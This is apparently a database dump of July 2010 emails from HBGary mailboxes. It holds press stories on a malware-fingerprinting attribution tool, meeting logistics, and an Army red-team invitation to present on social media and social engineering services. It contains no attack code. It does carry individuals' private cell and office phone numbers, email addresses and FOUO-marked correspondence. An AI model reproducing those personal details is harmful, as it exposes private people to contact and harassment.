<greg@hbgary.com>,','Government Computer News story posted: \'Digital fingerprints\' could 	help catch virus creators','Bill Jackson, the security beat reporter for Government Computer News, just posted his story on your talk and tool. If you remember, he interviewed you a few weeks ago. It&#39;s a very good story. Please see below. Karen \r\n\r\n\r\n\r\n&#39;Digital fingerprints&#39; could help catch virus creators\r\n\r\nJul 28, 2010LAS VEGAS — Security company HBGary today released an open source tool to digitally fingerprint malicious code and help identify the source of the malware. The company announced the new product at the Black Hat Briefings security conference. \r\n“This is something that I’ve invested a lot of time in over the last year,” said Greg Hoglund, the company&#39;s chief executive officer. The tool looks for unique artifacts created during the writing and compiling of the malicious software.\r\n\r\n“Every component in the [development] tool kit has the ability to leave an identifying mark,” he said. No single tool mark will identify the source of the malicious code by itself, but a collection of marks can create a uniquely identifiable fingerprint, Hoglund said in an interview with GCN. Now, the tool examines 10 to 20 identifiable tool marks in a piece of binary code to produce a fingerprint.\r\n\r\n“What I’ve discovered is that you can track an individual’s activities,” sometimes over a period of years, he said.\r\nThe tool is available at no cost as open source software, giving users full access to the source code in the hope of speeding the maturity of the technology. “We’re hoping this is something that will be adopted by the security community,&quot; Hoglund said.\r\n\r\nThe issue of attribution of cyberattacks has taken on increased importance with the development of offensive cyber war capabilities by a number of nations and the creation of a defensive and offensive Cyber Command in the U.S. military. The ability to identify an attacker is essential to deterring and responding to a conventional military attack. The House Science and Technology Committee&#39;s Technology and Innovation Subcommittee recently held hearings on the challenge of applying attribution to deterring cyberattacks.\r\n\r\n“During the Cold War, the United States and the Soviet Union were held in check by the notion that an attack would result in immediate retaliation,” Rep David Wu (D-Ore), the subcommittee chairman, said in a prepared statement. “This was achieved because each country would have been able to precisely identify its attacker.”\r\n\r\nBut a study for the Defense Department by the Institute for Defense Analyses concluded that “attribution is difficult and inherently limited,” and that “because of the difficulty and uncertainty in performing attribution, computer network defense should not depend on attribution.”\r\n\r\nWu said that development of effective attribution techniques, while not the ultimate solution to cybersecurity, should be “an essential part of our efforts to secure the nation’s cyber space.”\r\nHoglund said that digital fingerprinting of malicious code is a step in that direction. “Attribution is starting to work in our favor,” he said.\r\nHe has been able to determine the time at which a piece of malware used in the theft of data from a defense contractor was compiled. “This is telling me he has been on the site since at least December of last year,” he said.\r\n\r\nIn another case, he compared a piece of malware supplied to him by the Army&#39;s criminal investigation division  in 2005 with malicious code supplied by US-CERT in January of this year. “It had the same tool marks,” he said. “It was the same guy. He’d been around for five years.”\r\n\r\nHe identified the code as coming from a Chinese source because of the language it was written in. “This source code does not appear anywhere in English form,” he said. The targets of the code were in the Defense Department, but Hoglund said he doubted the creators were working directly for the Chinese government. “They are so sloppy,” he said. “They leave their tracks all over the place.”\r\n\r\nIdentifying malware from a common source is a comparatively simple matter of comparing the digital fingerprints and finding a match. Identifying the individual or the group that created the code is more complex and will require a combination of human intelligence as well as technology. Spies and researchers still will have to locate, monitor and possibly infiltrate — either in person or online — the groups producing and using the malware.\r\n\r\n“This attribution stuff is new,” Hoglund said. Human intelligence and technology still are operating in isolated environments, but “this is an opportunity to bridge the silos. The integration is starting now.”\r\nFingerprinting also could produce immediate results by implementing it in antivirus and intrusion detection tools. Traditional signatures used to identify known malware can easily be changed, which limits the life of a given signature and the effectiveness of signature based detection. But tool marks in the binary code can go back for years and digital fingerprints from the malware’s source code are less likely to change frequently. This could extend the useful life of a signature from days to years.\r\n\r\nSource code can be changed, Hoglund conceded, but economics make it unlikely it will be changed often.\r\n“It takes a long time to get software to work properly,” he said. “So when you get it working you don’t want to change it. So we’ve got that working for us. You’re gong to be able to find the malware until the cows come home.”\r\n\r\n\r\nAbout the Author\r\nWilliam Jackson is a senior writer for GCN and the author of the CyberEye column. \r\n\r\n',6591,'aaron_hbgary_com/6591.html'),(9267,'2010-07-28','\"John Edwards\" <John.Edwards@agilex.com>','/aaron@hbgary.com/new/1297007139.M130218P14101Q4122.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Meeting - Finally','Aaron,\r\nWeek of 9 August works better for me.  Let me know\r\n\r\nOn Jul 21, 2010, at 12:43 AM, Aaron Barr wrote:\r\n\r\n> John,\r\n> \r\n> How about first week of August?  I am on family vacation starting\r\n> Thursday then blackhat.\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPad\r\n> \r\n> On Jul 20, 2010, at 1:44 PM, John Edwards  wrote:\r\n> \r\n>> Aaron,\r\n>> I\'m good later this week or next -- let me know what works for you\r\n>> \r\n>> On Jul 15, 2010, at 12:55 AM, Aaron Barr wrote:\r\n>> \r\n>>> Hi John,\r\n>>> \r\n>>> I have been meeting with some folks lately and your name keeps coming up, so probably a from my side definitely worth getting together and chatting a bit.  Most of it lately has been around your Apple capabilities and a few developers you have.  Probably some larger things that would be worth discussing.\r\n>>> \r\n>>> Let me know when you have some time.\r\n>>> \r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> \r\n>> \r\n\r\n',9300,'aaron_hbgary_com/9300.html'),(9268,'2010-07-28','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297007139.M411781P14101Q4123.eml','\"Inc. HBGARY\" <All@hbgary.com>','Revised Extension List','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3360,'aaron_hbgary_com/3360.html'),(9269,'2010-07-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007139.M645351P14101Q4124.eml','\"Bill Varner\" <Bill.Varner@ManTech.com>','Blackhat','Hi Bill,\r\n\r\nAre you in Las Vegas?  How did your reunion go?\r\n\r\nInterested in continuing our conversation.  Not sure what has changed with Larry gone.\r\n\r\nBtw, our talk at blackhat on attribution went phenomenally well.\r\n\r\nAaron\r\n\r\nSent from my iPhone',14851,'aaron_hbgary_com/14851.html'),(9270,'2010-07-28','\"Karen Burke\" <karen@hbgary.com>','/aaron@hbgary.com/new/1297007139.M931648P14101Q4125.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','VentureBeat Story Posted: Digital fingerprints could give away the 	authors of viruses and malware','Hi Greg, VentureBeat reporter Dean Takahashi just posted his story; I provided a headshot. As you know, he interviewed you on Monday. Thanks, Karen\r\n\r\nDigital fingerprints could give away the authors of viruses and malware\r\nJuly 28, 2010 | Dean Takahashi\r\nAdd a Comment\r\n\r\n\r\n\r\n\r\nSecurity firm HBGary said today it has an open source tool that can help identify the creators of malware spread on the internet, simply by looking at the code itself.\r\nGreg Hoglund, chief executive of HBGary, said in an interview that the tool looks for the unique artifacts that appear in code when malware authors create it and then compile it into executable programs. Each piece of data in the code may not mean much, but the whole collection can uniquely identify a criminal hacker.  Hoglund released the data at the Black Hat security conference in Las Vegas.\r\n\r\n“It doesn’t mean you know who they are,” he said. “But it does mean that when you have a large set of programs, you can see that they are related by a common author.\r\nHoglund revealed details of his free open source tool that companies can use to produce a “digital fingerprint.” By giving it away, Hoglund hopes to speed the maturation of the technology.\r\nHoglund said he could easily figure out if someone wrote a piece of code and then came up with a slightly different variant in hopes of making it spread widely. As cyberattacks explode, the U.S. military in particular wants to know where the attacks are coming from. Sometimes, cybercriminals can mask their involvement by launching an attack from computers in another country. If law enforcement or the military tried to retaliate, they would want to make sure they were going after the right perpetrator.\r\n\r\nHoglund has been working on security technology for more than a decade and was known in the past for hacking World of Warcraft; he co-authored “Exploiting Online Games” as a side job. Intelligence agencies are more interested in the work he is doing on identifying malware authors.\r\n\r\n“This is more like what I want to do, improving the detection of threats,” he said. “If I know the source code that an attacker typically uses, I can identify it quickly and know what to do when he breaks in.”\r\nHoglund founded HBGary in 2004 and it now has 25 employees in Sacramento,Calif. It is self funded and makes an enterprise security product for detecting intruders.\r\n',1219,'aaron_hbgary_com/1219.html'),(9271,'2010-07-29','\"Karen Burke\" <karen@hbgary.com>','/aaron@hbgary.com/new/1297007140.M165030P14101Q4126.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','TechTarget InformationSecurity Greg Hoglund Podcast Posted','InformationSecurity editor Mike Mimosa, who interviewed Greg after his talk today, posted his podcast:\r\nhttp://itknowledgeexchange.techtarget.com/security-wire-weekly/black-hat-2010-greg-hoglund-on-malware-attribution-and-fingerprinting/\r\n\r\n \r\nVery nice. K\r\n',9785,'aaron_hbgary_com/9785.html'),(9272,'2010-07-29','\"Google Calendar\" <calendar-notification@google.com>','/aaron@hbgary.com/new/1297007140.M399939P14101Q4127.eml','\"Aaron Barr\" <aaron@hbgary.com>','Reminder: Brian Christos cell 703-300-1597- Greg Hoglund Dinner 	Mee... @ Wed Jul 28 10pm - Thu Jul 29, 2010 12am (aaron@hbgary.com)',' more details &raquo;Brian Christos  cell 703-300-1597- Greg Hoglund Dinner Meeting Penny cell phone 408-316-8002 WhenWed Jul 28 10pm – Thu Jul 29, 2010 12am Eastern TimeWherePalm Restaurant near Caesars   (map)Calendaraaron@hbgary.comWho&#x2022;Maria Lucas - organizer&#x2022;Greg Hoglund&#x2022;Aaron Barr&#x2022;brian_n._christos@oa.eop.gov&#x2022;Penny LeavyGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for reminders on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',15394,'aaron_hbgary_com/15394.html'),(9273,'2010-07-29','brian_christos@yahoo.com','/aaron@hbgary.com/new/1297007140.M624260P14101Q4128.eml','aaron@hbgary.com','hey where did you end up?','\r\nSent from my Verizon Wireless BlackBerry\r\n\r\n',13314,'aaron_hbgary_com/13314.html'),(9274,'2010-07-29','\"emil nazzaro\" <emil@bydandassociates.com>','/aaron@hbgary.com/new/1297007140.M840579P14101Q4129.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"David Etue\" <david@etue.net>,\"byrne\" <byrne@bydandassociates.com>','Capabilities Sharing - HBGary and Bydand Associates','BEGIN:VCALENDAR\r\nPRODID:-//Microsoft Corporation//Outlook 12.0 MIMEDIR//EN\r\nVERSION:2.0\r\nMETHOD:REQUEST\r\nX-MS-OLK-FORCEINSPECTOROPEN:TRUE\r\nBEGIN:VEVENT\r\nATTENDEE;CN=\"Aaron Barr\";RSVP=TRUE:mailto:aaron@hbgary.com\r\nATTENDEE;CN=\"\'David Etue\'\";RSVP=TRUE:mailto:david@etue.net\r\nATTENDEE;CN=byrne;RSVP=TRUE:mailto:byrne@bydandassociates.com\r\nCLASS:PUBLIC\r\nCREATED:20100729T130039Z\r\nDESCRIPTION:When: Wednesday\\, August 11\\, 2010 1:00 PM-2:00 PM (GMT-05:00) \r\n	Eastern Time (US & Canada).\\nWhere: 6701 Democracy Blvd\\, Suite 300\\, Beth\r\n	esda\\, MD 20817\\n\\nNote: The GMT offset above does not reflect daylight sa\r\n	ving time adjustments.\\n\\n*~*~*~*~*~*~*~*~*~*\\n\\nIntroductions by David Et\r\n	ue and informal capabilities sharing.  Purpose:  to see if there is any ad\r\n	vantage of working together. \\n\r\nDTEND:20100811T180000Z\r\nDTSTAMP:20100729T130039Z\r\nDTSTART:20100811T170000Z\r\nLAST-MODIFIED:20100729T130040Z\r\nLOCATION:6701 Democracy Blvd\\, Suite 300\\, Bethesda\\, MD 20817\r\nORGANIZER;CN=\"emil nazzaro\":mailto:emil@bydandassociates.com\r\nPRIORITY:5\r\nSEQUENCE:0\r\nSUMMARY;LANGUAGE=en-us:Capabilities Sharing - HBGary and Bydand Associates\r\nTRANSP:OPAQUE\r\nUID:040000008200E00074C5B7101A82E00800000000002966DDFB2ECB01000000000000000\r\n	0100000000460FA28263EB6448007B0E2F547E429\r\nX-ALT-DESC;FMTTYPE=text/html:\\n\\n\\n\\n\\n\\n\\n\\n\\nWhen: Wednesday\\, August 11\\, 2010 1:00 PM-2:00 PM (GMT-05:00) Eastern\r\n	 Time (US &amp\\; Canada).\\n\\nWhere: 6701 Democracy Blvd\\, Suite 300\\, Bethesda\\\r\n	, MD 20817\\n\\nNote: The GMT offset above does not reflect daylight saving time \r\n	adjustments.\\n\\n*~*~*~*~*~*~*~*~*~*\\n\\nIntroductions by David Etue and informal capa\r\n	bilities sharing.&nbsp\\; Purpose:&nbsp\\; to see if there is any advantage \r\n	of working together. \\n\\n\\n\r\nX-MICROSOFT-CDO-BUSYSTATUS:TENTATIVE\r\nX-MICROSOFT-CDO-IMPORTANCE:1\r\nX-MICROSOFT-CDO-INTENDEDSTATUS:BUSY\r\nX-MICROSOFT-DISALLOW-COUNTER:FALSE\r\nX-MS-OLK-ALLOWEXTERNCHECK:TRUE\r\nX-MS-OLK-AUTOSTARTCHECK:FALSE\r\nX-MS-OLK-CONFTYPE:0\r\nX-MS-OLK-SENDER;CN=\"emil nazzaro\":mailto:emil@bydandassociates.com\r\nBEGIN:VALARM\r\nTRIGGER:-PT15M\r\nACTION:DISPLAY\r\nDESCRIPTION:Reminder\r\nEND:VALARM\r\nEND:VEVENT\r\nEND:VCALENDAR\r\n\r\n',6520,'aaron_hbgary_com/6520.html'),(9275,'2010-07-29','\"Turner, Stephen W CPT MIL USA USINSCOM\" <stephen.w.turner@us.army.mil>','/aaron@hbgary.com/new/1297007141.M155502P14101Q4130.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Training (UNCLASSIFIED)','Mr. Barr,\r\nThe Red Team is conducting internal cross training from September 8th to the 10th. Each section of the team will present a block of instruction. My section gets two hours to present what ever we want. I\'d like to have you down to give your social media presentation that you gave at the REBL. This would be a great chance to talk to MAJ Verell (Red Team Leader) and perhaps Mrs. Brooks. The computer exploitation guys will be attending as well. If you are free, let me know what you charge and I can see about getting you reimbursed for your time. Thanks\r\n\r\nV/R\r\n\r\nCPT Stephen W. Turner\r\nDSN 703-428-4514\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr \r\nDate: Friday, July 9, 2010 2:05 pm\r\nSubject: Re: Training (UNCLASSIFIED)\r\nTo: \"Turner, Stephen W CPT MIL USA\" \r\nCc: \"Verell, Benefsheh D MAJ MIL USA\" , \"Sandoval, Lorenzo J SFC MIL USA\" \r\n\r\n\r\n> Thanks CPT Stephen.\r\n> \r\n> I am happy to come back and discuss our social media and malware \r\n> capabilities and training programs.\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPhone\r\n> \r\n> On Jul 9, 2010, at 12:29 PM, \"Turner, Stephen W CPT MIL USA\"  \r\n> > Classification: UNCLASSIFIED\r\n> > Caveats: FOUO\r\n> > \r\n> > Ma\'am,\r\n> > Just reminding you that if you\'re still looking for some good\r\n> > training opportunities, Mr. Barr can really help us. He is CCed above.\r\n> > SFC Sandoval has spoken with him as well. \r\n> > \r\n> > V/R\r\n> > \r\n> > CPT Steve Turner\r\n> > \r\n> > Classification: UNCLASSIFIED\r\n> > Caveats: FOUO\r\n> > \r\n> > \r\n',15337,'aaron_hbgary_com/15337.html'),(9276,'2010-07-29','\"Aaron barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007141.M494117P14101Q4131.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Training (UNCLASSIFIED)','Sent from my iPadBegin forwarded message:From: \"Turner, Stephen W CPT MIL USA USINSCOM\" &lt;stephen.w.turner@us.army.mil&gt;Date: July 29, 2010 6:03:41 AM PDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Training (UNCLASSIFIED)Mr. Barr,The Red Team is conducting internal cross training from September 8th to the 10th. Each section of the team will present a block of instruction. My section gets two hours to present what ever we want. I\'d like to have you down to give your social media presentation that you gave at the REBL. This would be a great chance to talk to MAJ Verell (Red Team Leader) and perhaps Mrs. Brooks. The computer exploitation guys will be attending as well. If you are free, let me know what you charge and I can see about getting you reimbursed for your time. ThanksV/RCPT Stephen W. TurnerDSN 703-428-4514----- Original Message -----From: Aaron Barr &lt;aaron@hbgary.com&gt;Date: Friday, July 9, 2010 2:05 pmSubject: Re: Training (UNCLASSIFIED)To: \"Turner, Stephen W CPT MIL USA\" &lt;stephen.w.turner@us.army.mil&gt;Cc: \"Verell, Benefsheh D MAJ MIL USA\" &lt;benef.shamley@us.army.mil&gt;, \"Sandoval, Lorenzo J SFC MIL USA\" &lt;lorenzo.j.sandoval@us.army.mil&gt;Thanks CPT Stephen.I am happy to come back and discuss our social media and malware capabilities and training programs.AaronSent from my iPhoneOn Jul 9, 2010, at 12:29 PM, \"Turner, Stephen W CPT MIL USA\" &lt; wrote:Classification: UNCLASSIFIEDCaveats: FOUOMa\'am,Just reminding you that if you\'re still looking for some goodtraining opportunities, Mr. Barr can really help us. He is CCed above.SFC Sandoval has spoken with him as well. V/RCPT Steve TurnerClassification: UNCLASSIFIEDCaveats: FOUO',9265,'aaron_hbgary_com/9265.html'),(9277,'2010-07-29','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007141.M706911P14101Q4132.eml','\"Aaron barr\" <aaron@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Re: Training (UNCLASSIFIED)','Cool!On Jul 29, 2010, at 7:05 AM, Aaron barr &lt;aaron@hbgary.com&gt; wrote:\r\nSent from my iPadBegin forwarded message:From: &quot;Turner, Stephen W CPT MIL USA USINSCOM&quot; &lt;stephen.w.turner@us.army.mil&gt;\r\nDate: July 29, 2010 6:03:41 AM PDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Training (UNCLASSIFIED)\r\nMr. Barr,The Red Team is conducting internal cross training from September 8th to the 10th. Each section of the team will present a block of instruction. My section gets two hours to present what ever we want. I&#39;d like to have you down to give your social media presentation that you gave at the REBL. This would be a great chance to talk to MAJ Verell (Red Team Leader) and perhaps Mrs. Brooks. The computer exploitation guys will be attending as well. If you are free, let me know what you charge and I can see about getting you reimbursed for your time. Thanks\r\nV/RCPT Stephen W. TurnerDSN 703-428-4514----- Original Message -----From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Friday, July 9, 2010 2:05 pmSubject: Re: Training (UNCLASSIFIED)To: &quot;Turner, Stephen W CPT MIL USA&quot; &lt;stephen.w.turner@us.army.mil&gt;\r\nCc: &quot;Verell, Benefsheh D MAJ MIL USA&quot; &lt;benef.shamley@us.army.mil&gt;, &quot;Sandoval, Lorenzo J SFC MIL USA&quot; &lt;lorenzo.j.sandoval@us.army.mil&gt;\r\nThanks CPT Stephen.I am happy to come back and discuss our social media and malware \r\ncapabilities and training programs.Aaron\r\nSent from my iPhoneOn Jul 9, 2010, at 12:29 PM, &quot;Turner, Stephen W CPT MIL USA&quot; &lt; wrote:\r\nClassification: UNCLASSIFIED\r\nCaveats: FOUOMa&#39;am,\r\nJust reminding you that if you&#39;re still looking for some good\r\ntraining opportunities, Mr. Barr can really help us. He is CCed above.SFC Sandoval has spoken with him as well. \r\nV/R\r\nCPT Steve Turner\r\nClassification: UNCLASSIFIEDCaveats: FOUO\r\n\r\n\r\n',9470,'aaron_hbgary_com/9470.html'),(9278,'2010-07-29','\"Aaron barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007142.M221745P14101Q4134.eml','brian_christos@yahoo.com','Re: hey where did you end up?','Hey Brian,\r\n\r\nWe got snagged to go to the r7 party over at the palm which was lame so we turned around and came back and went to bed.  How was the Netwitness party?\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jul 29, 2010, at 12:30 AM, \"brian_christos@yahoo.com\"  wrote:\r\n\r\n> \r\n> Sent from my Verizon Wireless BlackBerry\r\n> \r\n',845,'aaron_hbgary_com/845.html'),(9279,'2010-07-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007142.M3592P14101Q4133.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: Training (UNCLASSIFIED)','I was thinking of not charging but if u think different what should I charge?AaronSent from my iPhoneOn Jul 29, 2010, at 7:32 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:Cool!On Jul 29, 2010, at 7:05 AM, Aaron barr &lt;aaron@hbgary.com&gt; wrote:\r\nSent from my iPadBegin forwarded message:From: \"Turner, Stephen W CPT MIL USA USINSCOM\" &lt;stephen.w.turner@us.army.mil&gt;\r\nDate: July 29, 2010 6:03:41 AM PDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Training (UNCLASSIFIED)\r\nMr. Barr,The Red Team is conducting internal cross training from September 8th to the 10th. Each section of the team will present a block of instruction. My section gets two hours to present what ever we want. I\'d like to have you down to give your social media presentation that you gave at the REBL. This would be a great chance to talk to MAJ Verell (Red Team Leader) and perhaps Mrs. Brooks. The computer exploitation guys will be attending as well. If you are free, let me know what you charge and I can see about getting you reimbursed for your time. Thanks\r\nV/RCPT Stephen W. TurnerDSN 703-428-4514----- Original Message -----From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Friday, July 9, 2010 2:05 pmSubject: Re: Training (UNCLASSIFIED)To: \"Turner, Stephen W CPT MIL USA\" &lt;stephen.w.turner@us.army.mil&gt;\r\nCc: \"Verell, Benefsheh D MAJ MIL USA\" &lt;benef.shamley@us.army.mil&gt;, \"Sandoval, Lorenzo J SFC MIL USA\" &lt;lorenzo.j.sandoval@us.army.mil&gt;\r\nThanks CPT Stephen.I am happy to come back and discuss our social media and malware \r\ncapabilities and training programs.Aaron\r\nSent from my iPhoneOn Jul 9, 2010, at 12:29 PM, \"Turner, Stephen W CPT MIL USA\" &lt; wrote:\r\nClassification: UNCLASSIFIED\r\nCaveats: FOUOMa\'am,\r\nJust reminding you that if you\'re still looking for some good\r\ntraining opportunities, Mr. Barr can really help us. He is CCed above.SFC Sandoval has spoken with him as well. \r\nV/R\r\nCPT Steve Turner\r\nClassification: UNCLASSIFIEDCaveats: FOUO\r\n\r\n\r\n',16900,'aaron_hbgary_com/16900.html'),(9280,'2010-07-29','\"Aaron barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007142.M427284P14101Q4135.eml','\"Turner, Stephen W CPT MIL USA USINSCOM\" <stephen.w.turner@us.army.mil>','Re: Training (UNCLASSIFIED)','Stephen,\r\n\r\nI am happy to present.  No need for payment, it\'s a potential business opportunity for me if they like what I have to say.  I will forward you a datasheet we just finished on our social media services, which includes social engineering, gaining, and information exposure monitoring.\r\n\r\nThanks for thinking of me.\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jul 29, 2010, at 6:03 AM, \"Turner, Stephen W CPT MIL USA USINSCOM\"  wrote:\r\n\r\n> Mr. Barr,\r\n> The Red Team is conducting internal cross training from September 8th to the 10th. Each section of the team will present a block of instruction. My section gets two hours to present what ever we want. I\'d like to have you down to give your social media presentation that you gave at the REBL. This would be a great chance to talk to MAJ Verell (Red Team Leader) and perhaps Mrs. Brooks. The computer exploitation guys will be attending as well. If you are free, let me know what you charge and I can see about getting you reimbursed for your time. Thanks\r\n> \r\n> V/R\r\n> \r\n> CPT Stephen W. Turner\r\n> DSN 703-428-4514\r\n> \r\n> ----- Original Message -----\r\n> From: Aaron Barr \r\n> Date: Friday, July 9, 2010 2:05 pm\r\n> Subject: Re: Training (UNCLASSIFIED)\r\n> To: \"Turner, Stephen W CPT MIL USA\" \r\n> Cc: \"Verell, Benefsheh D MAJ MIL USA\" , \"Sandoval, Lorenzo J SFC MIL USA\" \r\n> \r\n> \r\n>> Thanks CPT Stephen.\r\n>> \r\n>> I am happy to come back and discuss our social media and malware \r\n>> capabilities and training programs.\r\n>> \r\n>> Aaron\r\n>> \r\n>> Sent from my iPhone\r\n>> \r\n>> On Jul 9, 2010, at 12:29 PM, \"Turner, Stephen W CPT MIL USA\" > \r\n>>> Classification: UNCLASSIFIED\r\n>>> Caveats: FOUO\r\n>>> \r\n>>> Ma\'am,\r\n>>> Just reminding you that if you\'re still looking for some good\r\n>>> training opportunities, Mr. Barr can really help us. He is CCed above.\r\n>>> SFC Sandoval has spoken with him as well. \r\n>>> \r\n>>> V/R\r\n>>> \r\n>>> CPT Steve Turner\r\n>>> \r\n>>> Classification: UNCLASSIFIED\r\n>>> Caveats: FOUO\r\n>>> \r\n>>> \r\n',15920,'aaron_hbgary_com/15920.html'),(9281,'2010-07-29','aaron@hbgary.com','/aaron@hbgary.com/new/1297007146.M571763P14101Q4136.eml','stephen.w.turner@us.army.mil','Social media datasheet','What\'s not in here but inferred is our IO capabilities in this space and how we can tie social media to more effective exploitation, also improve social engineering.\r\n\r\nAaron\r\n\r\n',8323,'aaron_hbgary_com/8323.html'),(9282,'2010-07-29','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007148.M233202P14101Q4137.eml','\"Aaron Barr\" <aaron@hbgary.com>','TSA','Aaron\r\n \r\nPenny ran into Doug Maughn yesterday and he said he could help at TSA and asked what funding sources they have OM or RETC???\r\n \r\nCan you find out more for me?  If you haven&#39;t met Doug Maughn you should he may be able to help with the training.\r\n \r\nThanks!\r\nMaria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',1034,'aaron_hbgary_com/1034.html'),(9283,'2010-07-29','\"ExecutiveBiz\" <sender@executivebiz.com>','/aaron@hbgary.com/new/1297007148.M514003P14101Q4138.eml','aaron@hbgary.com','HR Secrets Revealed: Eight HR Government Contracting leaders share recruiting, retention best practices','View in Browser\r\n Sign\r\n Up&nbsp;| Forward | Visit Our\r\n Blog | Jobs\r\n  | About\r\n Us GovconWire | ExecutiveGov | The New New Internet  |\r\n  GovCon Executive&nbsp; | GovConExec\r\n MagazineBy Jim\r\n GarrettsonJuly 29,\r\n 2010HR Secrets Revealed: Eight HR Government Contracting leaders\r\n share recruiting, retention best practices\r\n Jerry Calhoun&nbsp;Rich Lakis\r\n\r\n&nbsp;Kathy Madaleno\r\n\r\n&nbsp;John Heim\r\n\r\n&nbsp;Charlie\r\n Virtue\r\n\r\n&nbsp;Candice Mendenhall\r\n\r\nMary Good\r\n\r\n&nbsp;Jim Lawler\r\n\r\nYour\r\n product is your people. Holding on to them isn\'t easy. Not when it comes to\r\n current challenges faced by government contracting. The list of challenges is\r\n long, topped by the prevailing question over insourcing. While no one knows for\r\n sure where the issue will land, contractors are already seeing more seasoned\r\n &#8212; and difficult to replace &#8212; employees move over to the government\r\n side. Meanwhile, both industry and government alike continue to vie for the same\r\n pool of talent. And it\'s shrinking. Click\r\n here to read moreSAIC Announces Structural ChangesSAIC has announced a series\r\n of structural changes designed to direct the company\'s resources and energy to\r\n emerging and high-growth areas. Click here to read\r\n moreFixing the Human Capital Issue in\r\n CyberThe Center for\r\n Strategic and International Studies (CSIS) has released a new report on the human\r\n capital issues currently facing the cybersecurity effort in the United States. The\r\n report, titled \"A Human Capital Crisis in Cybersecurity,\" claims the United States\r\n is currently facing a crisis in that not enough skilled cyber professionals are\r\n available to serve the needs of the nation. Click here to\r\n read more New CIA Spy Chief\r\n Represents Shift in Agency PrioritiesLast week, the CIA announced the\r\n nomination of John Bennett, a former station chief and Marine Corps officer, to\r\n head the National Clandestine Service (NCS).&nbsp; As the CIA\'s station chief in\r\n Islamabad, Pakistan, he oversaw drone strikes that killed at least 20 high-level\r\n Al Qaeda leaders, including Baitullah Mehsud, and he previously led the CIA\'s\r\n Special Activities Division, the CIA\'s paramilitary wing. Click here to read\r\n moreJacob Lew: What\'s Next at\r\n OMB?Jacob \"Jack\" Lew, Obama\'s\r\n nominee to replace Peter Orszag as Director of OMB, has served at the State\r\n Department since the last time he served as Director of OMB for President\r\n Clinton.&nbsp; Regardless of whether Orszag\'s departure resulted from policy\r\n differences with President Obama, it\'s clear that at least some fiscal policy\r\n changes are coming. Click here to read\r\n moreExecutive Spotlight: Shaara Roman of CGI\r\n FederalExecutive Spotlight: Gary Noyes of AT&T\r\n Government Solutions Former Redskin John Riggins Speaks at\r\n Potomac Officers Club Event Michael V. Hayden Joins Alion\'s Board of\r\n Directors&nbsp;&nbsp;SAIC, Lockheed Martin, Honeywell, Boeing\r\n Notch DoD Wins \r\nNorthrop Grumman, L-3 Win DoD Deals, BAE\r\n Turns Two\r\nRaytheon Wins Navy Deal, Booz Allen Claims\r\n Two\r\nSAIC Signs Deal to Support NASA\'s Goddard\r\n Center\r\nNorthrop Grumman Inks Deal to Help Protect\r\n Troops\r\n\r\nDaon\'s Tom Grissen on Strategic Partnership\r\n with DieBoldClick Here for More\r\n GovConwireHouse Passes Cyber R&D Bill\r\n Cyber Terror Threat on Par with CBRN Weapons\r\n Says Punjab Director General of PoliceCyber Camp for NextGen Cyber\r\n WarriorsCourt Approves Baidu Lawsuit Against Domain\r\n Register for Iranian Cyber Army HackCameron and Obama Discuss Pentagon Hacker\'s\r\n ExtraditionClick Here for More from The New New\r\n Internet Michael V. Hayden Joins\r\n Alion\'s Board of\r\n Directors\r\nDARPA, NIST Collaborate on Avant-Garde\r\n Translation\r\n 